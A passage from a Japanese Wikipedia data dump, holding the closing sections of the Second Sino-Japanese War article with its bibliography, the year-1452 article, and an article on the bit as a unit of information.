{{いつ範囲|当時|date=2019年5月}}関東軍参謀だった[[瀬島龍三]]は、「満洲を建国したことで[[朝鮮半島]]が安定したが、満洲国が建国したばかりで不安定だったことから満洲の安定を図るために満洲と中国の国境ラインに軍隊を移駐したところで中国勢力と衝突した」と戦後の談話で述べた<ref name=A>瀬島龍三『大東亜戦争の実相』{{要ページ番号|date=2015-06-22}}</ref>。
[[南京戦]]陥落直後の1937年12月19日に[[読売新聞]]は「日本は初めこの事変をこうまで拡大する意志はなかった。支那に引張られてやむを得ず、上海から南京まで行かざるを得なかった」として、事変の序幕は[[西安事件]]で蔣介石が共産党と妥協させられてからで、それ以降は「共産党戦術」が著しく、「支那と日本と大戦争をやらすのが共産党の利益であると打算しているようであった」と報道した<ref>読売新聞 1937.12.19(昭和12)「無理のない政治」神戸大学経済経営研究所 新聞記事文庫 政治(58-136)</ref>。
また同月に[[報知新聞]]も西安事件以来南京政府は大きく変化し、「政治的には国共合作後の共産党的圧力、経済的には在支権益を確保せんとするイギリス資本の掩護、思想的にはソヴィエト流の抗日救国の情熱、それ等が決河の勢いをなして北支に逆流し、ついには上海における計画的挑戦の暴露となり、戦局の急速なる拡大となってしまった 」とし、「今度の事変が決して支那と日本との問題でなく実に支那を舞台とするイギリスとソヴィエトの動きを除いては事変そのものすら考え得られないということも次第に明かとなり、東洋における防共と反英運動とが新らしい政治的課題として登場して来た」と回顧した<ref>報知新聞 1937.12.25-1937.12.27(昭和12)「事変下本年の回顧 (7)」神戸大学経済経営研究所 新聞記事文庫 政治(58-142)</ref>。また、イギリスは表面は不干渉を表明したが、南京政府への支援を続け、さらに米国を巻き込むことに成功したと報じた<ref>報知新聞 1937.12.19-1937.12.22(昭和12)事変下本年の回顧 (1)外交 (A〜D)神戸大学経済経営研究所 新聞記事文庫 外交(147-057)</ref>。
[[田母神俊雄]](当時[[航空幕僚長]])は、日本は[[国際法]]上合法的に[[中国大陸]]に権益を得て比較的穏健な内地化を進めようとしていたが、[[コミンテルン]]の工作によって蔣介石の国民党や中国共産党からの度重なるテロ行為に干渉され、また[[ベノナ]]ファイルで明かになったように中国と同じくコミンテルンの工作を受けたアメリカに介入され、結果的に日中戦争(支那事変)に引きずり込まれることとなったと論じた<ref>[http://ronbun.apa.co.jp/images/pdf/2008jyusyou_saiyuusyu.pdf 日本は侵略国家であったのか][[「真の近現代史観」懸賞論文]],2008年.[[アパグループ]].</ref>。しかし、政府と[[防衛省]]幹部が内容に問題にあるとして田母神は[[浜田靖一]][[防衛大臣]]から更迭された([[田母神論文問題]])<ref>毎日新聞 2008年11月9日 東京朝刊</ref>。[[小堀桂一郎]]、[[中西輝政]]、[[西尾幹二]]などは田母神論文の内容を支持し<ref>『WiLL』2008年11月号{{Full citation needed|date=2019年4月}}</ref>、[[森本敏]]、[[小林節]]、[[纐纈厚]]、[[笠原十九司]]、[[水島朝穂]]らは論文を批判した<ref>{{Cite web|和書|url=https://www.tokyo-np.co.jp/article/national/news/CK2008110102000087.html |title=『小学校から勉強を』 「低レベル」論文内容 識者らあきれ顔 |publisher=東京新聞 |accessdate=2008-11-03 |archiveurl=https://web.archive.org/web/20081103092507/https://www.tokyo-np.co.jp/article/national/news/CK2008110102000087.html |archivedate=2008-11-03 |deadlinkdate=2019-06-14 }}</ref><ref>[https://ironna.jp/article/3138 田母神論文の意味するところ - iRONNA]</ref>。
== 関連作品 ==
{{See|Category:日中戦争を題材とした作品}}
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group=注釈|30em}}
=== 出典 ===
{{Reflist|24em|refs=
<!--<ref name="野澤ii">[[野沢豊|野澤豊]]『日本の中華民国史研究』汲古書院、1995年9月1日 発行、ISBN 4-7629-2484-9、ii頁。</ref>-->
}}
== 参考文献 ==
{{参照方法|date=2009年9月|section=1}}
<!-- 公表年度順 -->
* [[タイムズ|英国紙THE TIMES(タイムズ)]], Dec. 24 1937, Nanking's New Rulers/Autonomous Commission Set Up
* 『支那事変写真全集 <中>』、[[朝日新聞社]]、1938年
* "ブリタニカ国際年鑑 1938年版(Encyclopaedia Britannica Book of The Year 1938)"
* {{Cite book |和書 |author= K・カール・カワカミ|authorlink=河上清 | title = シナ大陸の真相―1931‐1938 | translator = [[福井雄三]] | publisher = [[展転社]] | year = 2001 | isbn = 978-4886561886 | ref = harv }}(原著: K.K.KAWAKAMI, ''Japan in China, Her Motives and Aims'', 1938)
* [[児島襄]]『日中戦争 VOL3/1937-1945』文藝春秋、昭和五九年七月一日 第一刷、0031-363220-7384。
* ジョン・トーランド『大日本帝国の興亡』1巻 暁のZ作戦、毎日新聞社訳、早川書房〈ハヤカワ文庫〉、1984年(原著1970年)。ISBN 4150501017
* {{Cite book |和書 |author= 大杉一雄|authorlink=大杉一雄 | title = 日中十五年戦争史―なぜ戦争は長期化したか | publisher = 中央公論社 | series = [[中公新書]] 1280| date = 1996年1月25日発行 | isbn = 978-4-12-101280-7 | ref = harv }}
* [[瀬島龍三]]『幾山河 : 瀬島龍三回想録』 産経新聞ニュースサービス、1996年。ISBN 4-594-02041-0
* {{Cite book |和書 |author=臼井勝美|authorlink=臼井勝美 |title=新版 日中戦争-和平か戦線拡大か- |date= 2000年4月25日発行 |publisher=中央公論新社 |series= 中公新書 1532 |isbn=4-12-101532-0 |ref=harv}}
* {{Cite book |和書 |author=小林英夫|authorlink=小林英夫 (経済学者) |title=日中戦争-殲滅戦から消耗戦へ |date= 二〇〇七年七月二〇日第一刷発行 |publisher=講談社 |series=講談社現代新書 1900 |isbn=978-4-06-287900-2 |ref=小林 (2007)}}
* 瀬島龍三『大東亜戦争の実相』 PHP研究所、1998年9月10日 第1版第1刷発行、ISBN 4-569-60180-4。
* [[太平洋戦争研究会]]編、[[森山康平]]著『図説 日中戦争』河出書房新社、2000年1月25日初版発行、ISBN 978-4-309-72629-8。
* [[東中野修道]]『南京事件 国民党極秘文書から読み解く』草思社、2006年5月2日 第1刷発行、ISBN 4-7942-1488-X。
* [[伊香俊哉]]『満州事変から日中全面戦争へ 戦争の日本史22』[[吉川弘文館]]、二〇〇七年(平成十九)六月一日 第一刷発行、ISBN 978-4-642-06332-6。
* {{Cite journal|和書 |author=和田民子 |year=2007 |title=19世紀末中国の伝統的経済・社会の特質と発展的可能性 |journal=日本大学大学院総合社会情報研究科紀要 |issue=8 |pages=285-294 |publisher=日本大学大学院総合社会情報研究科 |issn=13461656 |url=https://web.archive.org/web/20090124134844/http://atlantic2.gssc.nihon-u.ac.jp/kiyou/pdf08/8-285-294-wada.pdf |format=PDF |accessdate=2014-02-06 |ref=harv }}
* {{Cite book |和書 |author=石川禎浩 |title=革命とナショナリズム: 1925-1945〈岩波新書 1251〉 |date=2010年10月20日 第1刷発行|publisher=岩波書店 |series=シリーズ中国近現代史③ |isbn= 978-4-00-431251-2 |ref=harv }}
* {{Cite web|和書|author=庄司潤一郎 |url=http://www.nids.mod.go.jp/publication/kiyo/pdf/bulletin_j13-3_3.pdf |title=日本における戦争呼称に関する問題の一考察 |year=2011 |accessdate=2014-02-02 |format=PDF |work=防衛研究所紀要 第13巻第3号(2011年3月) |publisher=防衛研究所 |ref=harv |archiveurl=https://web.archive.org/web/20130120051812/http://www.nids.go.jp///publication/kiyo/pdf/bulletin_j13-3_3.pdf |archivedate=2013年1月20日 |deadlinkdate=2017年10月 }}
== 関連文献 ==
* 秦郁彦『日中戦争史』河出書房新社、1961年9月30日 初版発行、河出書房新社、2011年7月30日 復刻新版初版発行、ISBN 978-4-309-22548-7。
* [[堀場一雄]]『支那事変戦争指導史』[[原書房]]、昭和三十七年九月十日初版千部。
* {{Cite book |和書 |author= 林茂|authorlink=林茂 |title= 日本の歴史 25 太平洋戦争 |date= 昭和42年2月15日初版発行 |publisher= 中央公論社 |isbn= |ref=harv }}
*{{Cite book|和書|author=防衛庁防衛研修所戦史室|date=1975-07-25|title=戦史叢書 支那事変陸軍作戦 <1>-昭和十三年一月まで-|url=http://www.nids.mod.go.jp/military_history_search/SoshoView?kanno=086|publisher=朝雲新聞社|isbn= |ref=支那事変陸軍作戦1}}
*{{Cite book|和書|author=防衛庁防衛研修所戦史室|date=1976-02-25|title=戦史叢書 支那事変陸軍作戦 <2>-昭和十四年九月まで-|url=http://www.nids.mod.go.jp/military_history_search/SoshoView?kanno=089|publisher=朝雲新聞社|isbn= |ref=支那事変陸軍作戦2}}
*{{Cite book|和書|author=防衛庁防衛研修所戦史室|date=1975-11-25|title=戦史叢書 支那事変陸軍作戦 <3>-昭和十六年十二月まで-|url=http://www.nids.mod.go.jp/military_history_search/SoshoView?kanno=090|publisher=朝雲新聞社|isbn= |ref=支那事変陸軍作戦3}}
* {{Cite book |和書 |author=江口圭一|authorlink=江口圭一 |title=十五年戦争小史 |date=1991年5月25日 第2版第1刷発行|publisher=青木書店 |series= |isbn=4-250-91009-1 |ref=江口 (1991)}}
* [[江口圭一]]「1910-30年代の日本 アジア支配への途」『岩波講座日本通史18巻近代3』岩波書店、1994年7月28日、ISBN 4-00-010568-X。
* [[猪木正道]]『軍国日本の興亡 : 日清戦争から日中戦争へ 〈中公新書 1232〉』中央公論社、1995年3月25日発行、ISBN 4-12-101232-1。
* 秦郁彦『盧溝橋事件の研究』東京大学出版会、1996年12月16日 初版、ISBN 4-13-020110-7。
* [[阿川弘之]]、[[中西輝政]]、[[福田和也]]、[[猪瀬直樹]]、[[秦郁彦]]『二十世紀 日本の戦争 〈文春新書 112〉』文藝春秋、平成12年7月20日 第1刷発行、ISBN 4-16-660112-1。
* 松田昌治「[https://hdl.handle.net/10959/1828 盧溝橋事件の評価をめぐる諸問題]」『学習院史学』2001年 39号 p. 104-115, {{issn|02861658}}。
* 石大三郎「[https://web.archive.org/web/20031219200343/http://atlantic2.gssc.nihon-u.ac.jp/kiyou/pdf02/2-31-2001-Ishi.pdf 盧溝橋事件への一考察]」『日本大学大学院総合社会情報研究科紀要』 No.2, p. 31-41 (2001), 日本大学大学院総合社会情報研究科
* [[天児慧]]『巨龍の胎動 毛沢東VS鄧小平〈中国の歴史11〉』講談社、二〇〇四年一一月一〇日 第一刷発行、ISBN 978-4-06-274061-6。
* [[劉傑]]・[[三谷博]]・[[楊大慶]]編『国境を越える歴史認識-日中対話求め同時出版』東京大学出版会、2006年5月2日 初版、ISBN 978-4-13-023053-7。
* [[井上寿一]]『日中戦争下の日本〈講談社選書メチエ 392〉』講談社、二〇〇七年七月一〇日第一刷発行、{{ISBN2| 978-4-06-258392-3}}。
* [[中山雅洋]]『中国的天空―沈黙の航空戦史 上』大日本絵画、2007年11月10日 初版第一刷、ISBN 978-4-499-22944-9。
* 中山雅洋『中国的天空―沈黙の航空戦史 下』大日本絵画、2008年4月18日 初版第一刷、ISBN 978-4-499-22945-6。
* [[日本の前途と歴史教育を考える議員の会]]監修 (監修者: [[中山成彬]]・[[西川京子]]・[[戸井田とおる]]・[[阿羅健一]]・[[水間政憲]]、編集者: [[水間政憲]])『南京の実相―国際連盟は「南京2万人虐殺」すら認めなかった』[[日新報道]]、2008年11月1日発行、ISBN 978-4-8174-0667-5。
*{{Cite |和書 |author = [[加藤陽子]] |title = それでも、日本人は「戦争」を選んだ 高校生に語る-日本近現代史の最前線 |date = 二〇〇九年七月三十日 初版第一刷発行 |publisher = [[朝日出版社]] |isbn = 978-4-255-00485-3 }}
* {{Cite web|和書|author=波多野澄雄 |url=https://www.mofa.go.jp/mofaj/area/china/pdfs/rekishi_kk_j-2.pdf |title=〈近現代史〉 第2部 第2章 日中戦争―日本軍の侵略と中国の抗戦 |date=2010-01-31 |accessdate=2014-01-11 |coauthors=庄司潤一郎 |format=PDF |work=第1期「日中歴史共同研究」報告書 |ref=harv }}
* 櫻井良樹『華北駐屯日本軍-義和団から盧溝橋への道〈岩波現代全書 074〉』岩波書店、2015年9月18日 第一刷発行、ISBN 978-4-00-029174-3。
== 関連項目 ==
{{Commonscat|Second Sino-Japanese War}}
* [[日中戦争関係年表]]
** [[中華民国の歴史]]
** [[日中関係史|日中関係]]
** [[日清戦争]] - [[下関条約]]
** [[義和団の乱]] - [[北京議定書]] - [[支那駐屯軍]]
** [[対華21ヶ条要求]]
** [[満洲事変]] - [[塘沽協定]]
** [[第一次上海事変]] - [[上海停戦協定]]
** [[華北分離工作]] - [[梅津・何応欽協定]] - [[土肥原・秦徳純協定]] - [[冀東防共自治政府]]
** [[綏遠事件]]
** [[八・一宣言]]
** [[中国山西省日本軍残留問題]]
** [[日本の戦争賠償と戦後補償]]
* [[大戦景気|戦争景気]]
* [[第二次世界大戦]]
* [[太平洋戦争]]
* [[国共内戦]]
== 外部リンク ==
* [https://www.mofa.go.jp/mofaj/area/china/rekishi_kk.html 日中歴史共同研究(概要)] (外務省)
* [https://www.mofa.go.jp/mofaj/annai/honsho/shiryo/bunsho/h22.html 『日本外交文書 日中戦争』(全4冊)] (外務省)
* [https://www.mofa.go.jp/mofaj/annai/honsho/shiryo/nitchu_nihon/pdfs/kaisetsu.pdf 「特別展示 日中戦争と日本外交 〈展示史料解説〉] (外務省)
* {{Kotobank}}
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[[Category:日中戦争|*]]
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6,749 | 1452年 | 1452年(1452 ねん)は、西暦(ユリウス暦)による、閏年。 | [
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| 1452年は、西暦(ユリウス暦)による、閏年。 | {{年代ナビ|1452}}
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== 他の紀年法 ==
{{他の紀年法}}
* [[干支]] : [[壬申]]
* [[元号一覧 (日本)|日本]]
** [[宝徳]]4年、[[享徳]]元年[[7月25日 (旧暦)|7月25日]]([[ユリウス暦]][[8月10日]])
** [[神武天皇即位紀元|皇紀]]2112年
* [[元号一覧 (中国)|中国]]
** [[明]] : [[景泰]]3年
*** {{仮リンク|朱徽煠|zh|朱徽煠}} : [[玄武 (朱徽煠)|玄元]]元年([[景泰]]2年旧12月)
* [[元号一覧 (朝鮮)|朝鮮]]
** [[李氏朝鮮]] : [[文宗 (朝鮮王)|文宗]]2年
** [[檀君紀元|檀紀]]3785年
* [[元号一覧 (ベトナム)|ベトナム]]
** [[黎朝|後黎朝]] : [[大和 (黎朝)|大和]]10年
* [[仏滅紀元]] : 1994年 - 1995年
* [[ヒジュラ暦|イスラム暦]] : 855年 - 856年
* [[ユダヤ暦]] : 5212年 - 5213年
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== カレンダー ==
{{年間カレンダー|年=1452|Type=J|表題=可視}}
== できごと ==
* 2月22日 - [[スターリング城]]で[[ジェームズ2世 (スコットランド王)|ジェームズ2世]]による[[ウィリアム・ダグラス (第8代ダグラス伯)|ウィリアム・ダグラス]]の殺害
* 3月 - [[フリードリヒ3世 (神聖ローマ皇帝)|フリードリヒ3世]]が[[神聖ローマ皇帝]]に即位、[[ローマ]]で戴冠した最後の一人となる
== 誕生 ==
{{see also|Category:1452年生}}
<!--世界的に著名な人物のみ項内に記入-->
* [[3月10日]] - [[フェルナンド2世 (アラゴン王)|フェルナンド2世]]<ref>[https://www.britannica.com/biography/Ferdinand-II-king-of-Spain Ferdinand II king of Spain] [[ブリタニカ百科事典|Encyclopædia Britannica]]</ref>、[[アラゴン王国|アラゴン王]]、[[カスティーリャ王国|カスティーリャ王]](+ [[1516年]])
* [[4月15日]] - [[レオナルド・ダ・ヴィンチ]]<ref>[https://www.britannica.com/biography/Leonardo-da-Vinci Leonardo da Vinci Italian artist, engineer, and scientist] [[ブリタニカ百科事典|Encyclopædia Britannica]]</ref>、[[イタリア]]の[[画家]]・[[科学者]](+ [[1519年]])
* [[4月19日]] - [[フェデリーコ1世 (ナポリ王)|フェデリーコ1世]]、[[ナポリ王国|ナポリ王]](+ [[1504年]])
* [[7月27日]] - [[ルドヴィーコ・スフォルツァ]]<ref>[https://www.britannica.com/biography/Ludovico-Sforza Ludovico Sforza duke of Milan] [[ブリタニカ百科事典|Encyclopædia Britannica]]</ref>、[[ミラノ公国|ミラノ公]](+ [[1508年]])
* [[9月21日]] - [[ジロラモ・サヴォナローラ]]、[[ドミニコ会]]の修道士、[[フィレンツェ共和国]]の[[政治家]](+ [[1498年]])
* [[10月2日]] - [[リチャード3世 (イングランド王)|リチャード3世]]、[[ヨーク朝]][[イングランド王国|イングランド]]王(+ [[1485年]])
* [[愛洲久忠]]、[[室町時代]]、[[戦国時代 (日本)|戦国時代]]の[[兵法家]](+ [[1538年]])
* [[猪苗代兼載]]、室町時代、戦国時代の[[連歌|連歌師]](+ [[1510年]])
* [[勧修寺政顕]]、室町時代、戦国時代の[[公卿]](+ [[1522年]])
* [[熊谷膳直]]、室町時代、戦国時代の[[武将]]、[[安芸国|安芸]][[熊谷氏]]の当主(+ [[1515年]])
* [[小早川敬平]]、室町時代、戦国時代の武将、[[小早川氏#沼田小早川氏|沼田小早川氏]]の当主(+ [[1499年]])
* [[田向重治]]、室町時代、戦国時代の公卿(+ [[1535年]])
* [[名和顕忠]]、室町時代、戦国時代の武将、[[名和氏]]の第19代当主(+ 没年不詳)
* [[古市澄胤]]、室町時代、戦国時代の武将、文人(+ [[1508年]])
* [[山科言国]]、室町時代、戦国時代の[[公家]](+ [[1503年]])
== 死去 ==
{{see also|Category:1452年没}}
<!--世界的に著名な人物のみ項内に記入-->
* [[6月1日]] - [[文宗 (朝鮮王)|文宗]]、[[李氏朝鮮]]の第5代国王(* [[1414年]])
* [[7月9日]](享徳元年[[6月22日 (旧暦)|6月22日]]) - [[宗貞盛]]、[[室町時代]]の対馬の[[守護大名]]、[[宗氏]]の第9代当主(* [[1385年]])
* [[10月13日]](享徳元年[[9月1日 (旧暦)|9月1日]]) - [[斯波義健]]、室町時代の守護大名、[[斯波氏]]の第9代当主(* [[1435年]])
* [[シュヴィトリガイラ]]、[[リトアニア大公国|リトアニア大公]](* [[1370年]])
* [[畠山持富]]、室町時代の[[武将]](* 生年未詳)
* [[ゲオルギオス・ゲミストス・プレトン]]、[[東ローマ帝国]][[パレオロゴス王朝]]の[[プラトン]]学者(* [[1360年]]?)
* [[摩訶貴來]]、[[チャンパ王国]]の第4代国王(* 生年未詳)
* [[ミーコラス・ジーギマンタイティス]]、リトアニア大公[[ジーギマンタス・ケーストゥタイティス]]の息子(* 1406年以前)
== 脚注 ==
'''注釈'''
{{Reflist|group="注"}}
'''出典'''
{{脚注ヘルプ}}
{{Reflist}}
<!-- == 参考文献 == -->
== 関連項目 ==
{{Commonscat|1452}}
* [[年の一覧]]
* [[年表]]
* [[年表一覧]]
<!-- == 外部リンク == -->
{{十年紀と各年|世紀=15|年代=1400}}
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[[Category:1452年|*]] | null | 2021-07-08T01:00:39Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/1452%E5%B9%B4 |
6,751 | ビット | ビット (bit) は、情報理論、コンピューティング、多くのデジタル通信における情報の基本単位(英語版)である。ビットは、コンピューティングでの二値ストレージやデジタル通信における二値シンボルのことも意味し、そのストレージ・シンボルには、(情報量の単位としての)1ビットの情報を記憶・符号化できる。二進数の1桁のことであり、その名前はbinary digitの2語の一部を組み合わせた語(かばん語)である。
情報理論では、1ビットは通常、等しい確率で0または1である二進数ランダム変数の情報量(情報エントロピー)、またはそのような変数の値が判明したときに得られる情報として定義される。情報量の単位として、このビットはクロード・シャノンにちなんで名付けられたシャノンとも呼ばれる。厳密には、ビットはデータ量(ストレージ量)の単位、シャノンは情報量の単位と区別するが、歴史的経緯により後者も前者と同じ単位(ビット)で表現され、誤りの可能性を無視してよければNビットのストレージによりNビットの情報量が保持できる。
1ビットの情報は、二進数の1桁として論理値を表し、2つの値のうち1つのみを持つ。2つの状態を持つ何らかの機構によって物理的に実装できる。この状態値は、最も一般的には「0」/「1」として表されるが、真/偽 (True/False)、yes/no、+/-、on/offなどの他の表現も可能である。この値と実際の物理的状態との対応は慣習の問題であり、同じデバイスやプログラム内でも異なる割り当てを使用することができる。
ビットの単位記号は、IEC 80000-13:2008 では "bit"、IEEE 1541-2002やIEEE Std 260.1-2004(英語版)では"b"(小文字のビー)を推奨している。一般に8桁の二進数のグループ(8ビット)は「1バイト (byte)」と呼ばれるが、歴史的にはバイトのサイズは厳密には定義されていない。
データを離散ビットによって表す方法は、バジル・ブション(英語版)とジャン=バプティスト・ファルコン(フランス語版)によって1732年に発明されジョゼフ・マリー・ジャカールが1804年に開発したパンチカードに使用され、後にセミオン・コルサコフ(英語版)、チャールズ・バベッジ、ハーマン・ホレリス、およびIBMなどの初期のコンピュータメーカーにより採用された。また、鑽孔紙テープも同様の考えによるものであった。これら全てのシステムで、媒体(カードやテープ)は概念的に穴の位置の配列を保持していた。それぞれの位置における穴の有無が1ビットの情報を伝達した。ビットによる文章の符号化は、モールス信号(1844年)や、テレタイプ、ストックティッカー(1870年)などの初期のデジタル通信機でも使用されていた。
ラルフ・ハートレーは、1928年に情報の対数的計量の使用を提案した。クロード・シャノンは、1948年の独創的な論文『通信の数学的理論』で「ビット」という言葉を初めて使用した。シャノンは、その言葉は1947年1月9日にベル研究所でジョン・テューキーが書いたメモにおいて"binary information digit"(二進数情報桁)を略して"bit"と書いたことに由来するとしている。1936年にヴァネヴァー・ブッシュは、当時の機械式コンピュータで使用されていたパンチカードに保存できる情報量のことを"bits of information"(情報のビット)と書いた。コンラート・ツーゼによって構築された最初のプログラム可能なコンピュータは、数値に二進数表記を使用した。
ビットは、可能な2つの別個の状態(英語版)のいずれかを保持するデジタルデバイスやその他の物理システムによって格納できる。例えばフリップフロップの2つの安定状態、スイッチの2つの位置、電気回路で取り得る電圧または電流の2つの異なるレベル、2つの異なる光強度レベル、磁性または電気極性(英語版)の2つの方向、DNAの二本鎖の方向などである。
ビットはいくつかの形式で実装できる。ほとんどの最新のコンピュータデバイスでは、ビットは通常、電圧や電流のパルス、またはフリップフロップ回路の電気状態によって表される。
正論理を使用するデバイスの場合、1の数字値(または「真」(True) の論理値)は、0の表現よりもより高い正の電圧で表される。実際の電圧は、部品の耐久性やノイズ耐性など、部品の特性に応じて決定される。例えば、transistor-transistor logic (TTL) やその互換性のある回路では、デバイスの出力 (Output) は、0が0.4ボルト (V) 以下、1が2.6ボルト (V) 以上で表される。入力 (Input) は、0.8 V以下は0、2.2 V以上は1、として認識するように設定されている。
ビットは、シリアル通信では一度に1つずつ、パラレル通信では複数のビットが同時に送信される。ビット演算では、ビットを1つずつ処理する場合がある。データ転送速度は、通常、kbit/sなどビット毎秒 (bit/s)にSI接頭語をつけた単位で表され、2進接頭辞は使用されない。
ジャカード織機やバベッジの解析機関などの最も初期の非電子情報処理装置では、機械的なレバーやギアの位置、または紙のカードやテープの特定の位置の穴の有無としてビットが保存されていた。ディスクリートロジック用の初期の電気デバイス(エレベータや交通信号機の制御回路、電話交換機、コンラート・ツーゼのコンピュータなど)は、ビットを電気リレーのオン・オフの状態として表していた。1940年代からリレーが真空管に置き換えられたとき、コンピュータの設計者は、水銀遅延線を伝わる圧力パルス、ウィリアムス管の内面に蓄積される電荷、フォトリソグラフィ技術によってガラスの円盤に印刷される不透明なスポットなど、様々な保存方法を実験した。
1950年代および1960年代に、これらの方法は、磁気コアメモリ・磁気テープ・磁気ドラムメモリ・磁気ディスクなどの磁気記憶装置に大きく取って代わられた。磁気記憶装置では、ビットは強磁性フィルムの特定の領域の磁性の方向、またはある方向から他の方向への極性の変化として表現される。1980年代に開発された磁気バブルメモリでも同じ原理が使用され、鉄道の切符やクレジットカードなど磁気ストライプカードに使用されている。
DRAMなどの現代の半導体メモリでは、ビットはコンデンサに保存された電荷の2つのレベルで表される。特定のタイプのプログラマブルロジックデバイスや RAM では、回路の特定のポイントでの導電パスの有無によってビットが表される。光ディスクでは、ビットは反射面上の微小なピットの有無として表される。1次元バーコードでは、ビットは交互の黒と白の線の太さとして表される。
ビットは、国際単位系 (SI) では定義されていないが、国際電気標準会議 (IEC) が発行したIEC 60027では、二進数の単位の記号は "bit" であり、キロビットを表す "kbit" など全ての倍数で使用されると規定している。ただし、小文字の "b" も広く使用されており、IEEE 1541-2002などで推奨されている。慣習的に、大文字の "B" はバイトを表すのに使用され、両者の間には8倍の差がある。
伝統的に複数のビットを表す情報単位(英語版)がいくつか使用されてきた。最も一般的なのは、1956年6月にワーナー・ブッフホルツ(英語版)によって作られた単位「バイト」である。これは、歴史的にコンピュータで1つのキャラクタの符号化に使用されるビットの集まりを表すために使用された。このため、多くのコンピュータアーキテクチャで基本的なアドレスの単位として使用された。過去には様々なビット数のバイトが使用されてきたが、今日では8ビットを1バイトとする実装が広く使用されている。ただし、バイトの大きさが基礎となるハードウェア設計に依存するという曖昧さを回避するために、8ビットであることを明示的に示す単位「オクテット」が定義されている。
通常、コンピュータは、「ワード」と呼ばれる固定サイズのビットのグループ単位で操作を行う。バイトと同様に、1つのワードに含まれるビット数もハードウェア設計によって異なる。通常は8〜80ビットだが、一部の専用コンピュータではさらに大きくなる。21世紀初頭において、パーソナルコンピュータやサーバコンピュータのワードサイズは32ビットまたは64ビットである。
国際単位系では、基本となる単位の十進数の倍量・分量を表すSI接頭語が定義されている。これは一般的にビットやバイトに対しても適用されている。ただし、本来の十進数の倍量(1000の冪乗)ではなく、1024 (=2)の冪乗を表すのに使用されることもあり、曖昧さの回避のために1024の冪乗であることを明示する別の接頭辞が定義されている(2進接頭辞を参照)。
ストレージの情報容量や通信路の情報容量がビットやビット毎秒で表されるとき、多くの場合でバイナリデータを格納するコンピュータハードウェアの容量である二進数を指す。ストレージの情報容量は、そこに格納される情報量の上限に過ぎない。ストレージに含まれる各ビットの2つの可能な値(1と0)の数が等しくない場合、ストレージに含まれる情報の情報量は、「情報容量」として表される数値よりも小さくなる。実際、値が完全に予測可能ならば、その値の読み取りからは新たな情報は得られない(不確実性の解決が発生せず、したがって情報が利用できないため、エントロピーはゼロである)。nビットのストレージを使用するコンピュータファイルに含まれる情報がm < nビットのみの場合、その情報は原則として少なくとも平均で約mビットで符号化できる。この原則は、データ圧縮技術の基礎である。最適に圧縮された場合、伝送容量は情報量に近づく。
一部のビット演算のプロセッサ命令(bit setなど)は、データをビットの集合と解釈して操作するのではなく、個別のビットを操作するレベルで動作する。
1980年代、ビットマップコンピュータディスプレイが一般的になると、一部のコンピュータでは、画面上の特定の矩形領域に対応するビットを設定・コピーするための特殊なビットブロック転送命令("bitblt"または"blit")を提供した。
バイトやワードといった単位におけるビット位置の定義は CPU によって異なる。右端(数値としての最小位、LSB)を第0ビットにしている流儀と、左端(数値としての最大位、MSB)を第0ビットにしている流儀の両方がある。現在は前者が多い。この違いをエンディアンといい、前者をリトルエンディアン、後者をビッグエンディアンという。 | [
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"text": "ビット (bit) は、情報理論、コンピューティング、多くのデジタル通信における情報の基本単位(英語版)である。ビットは、コンピューティングでの二値ストレージやデジタル通信における二値シンボルのことも意味し、そのストレージ・シンボルには、(情報量の単位としての)1ビットの情報を記憶・符号化できる。二進数の1桁のことであり、その名前はbinary digitの2語の一部を組み合わせた語(かばん語)である。",
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"text": "情報理論では、1ビットは通常、等しい確率で0または1である二進数ランダム変数の情報量(情報エントロピー)、またはそのような変数の値が判明したときに得られる情報として定義される。情報量の単位として、このビットはクロード・シャノンにちなんで名付けられたシャノンとも呼ばれる。厳密には、ビットはデータ量(ストレージ量)の単位、シャノンは情報量の単位と区別するが、歴史的経緯により後者も前者と同じ単位(ビット)で表現され、誤りの可能性を無視してよければNビットのストレージによりNビットの情報量が保持できる。",
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"text": "ラルフ・ハートレーは、1928年に情報の対数的計量の使用を提案した。クロード・シャノンは、1948年の独創的な論文『通信の数学的理論』で「ビット」という言葉を初めて使用した。シャノンは、その言葉は1947年1月9日にベル研究所でジョン・テューキーが書いたメモにおいて\"binary information digit\"(二進数情報桁)を略して\"bit\"と書いたことに由来するとしている。1936年にヴァネヴァー・ブッシュは、当時の機械式コンピュータで使用されていたパンチカードに保存できる情報量のことを\"bits of information\"(情報のビット)と書いた。コンラート・ツーゼによって構築された最初のプログラム可能なコンピュータは、数値に二進数表記を使用した。",
"title": "歴史"
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"text": "ビットは、可能な2つの別個の状態(英語版)のいずれかを保持するデジタルデバイスやその他の物理システムによって格納できる。例えばフリップフロップの2つの安定状態、スイッチの2つの位置、電気回路で取り得る電圧または電流の2つの異なるレベル、2つの異なる光強度レベル、磁性または電気極性(英語版)の2つの方向、DNAの二本鎖の方向などである。",
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"text": "1950年代および1960年代に、これらの方法は、磁気コアメモリ・磁気テープ・磁気ドラムメモリ・磁気ディスクなどの磁気記憶装置に大きく取って代わられた。磁気記憶装置では、ビットは強磁性フィルムの特定の領域の磁性の方向、またはある方向から他の方向への極性の変化として表現される。1980年代に開発された磁気バブルメモリでも同じ原理が使用され、鉄道の切符やクレジットカードなど磁気ストライプカードに使用されている。",
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"text": "DRAMなどの現代の半導体メモリでは、ビットはコンデンサに保存された電荷の2つのレベルで表される。特定のタイプのプログラマブルロジックデバイスや RAM では、回路の特定のポイントでの導電パスの有無によってビットが表される。光ディスクでは、ビットは反射面上の微小なピットの有無として表される。1次元バーコードでは、ビットは交互の黒と白の線の太さとして表される。",
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"text": "ビットは、国際単位系 (SI) では定義されていないが、国際電気標準会議 (IEC) が発行したIEC 60027では、二進数の単位の記号は \"bit\" であり、キロビットを表す \"kbit\" など全ての倍数で使用されると規定している。ただし、小文字の \"b\" も広く使用されており、IEEE 1541-2002などで推奨されている。慣習的に、大文字の \"B\" はバイトを表すのに使用され、両者の間には8倍の差がある。",
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"text": "伝統的に複数のビットを表す情報単位(英語版)がいくつか使用されてきた。最も一般的なのは、1956年6月にワーナー・ブッフホルツ(英語版)によって作られた単位「バイト」である。これは、歴史的にコンピュータで1つのキャラクタの符号化に使用されるビットの集まりを表すために使用された。このため、多くのコンピュータアーキテクチャで基本的なアドレスの単位として使用された。過去には様々なビット数のバイトが使用されてきたが、今日では8ビットを1バイトとする実装が広く使用されている。ただし、バイトの大きさが基礎となるハードウェア設計に依存するという曖昧さを回避するために、8ビットであることを明示的に示す単位「オクテット」が定義されている。",
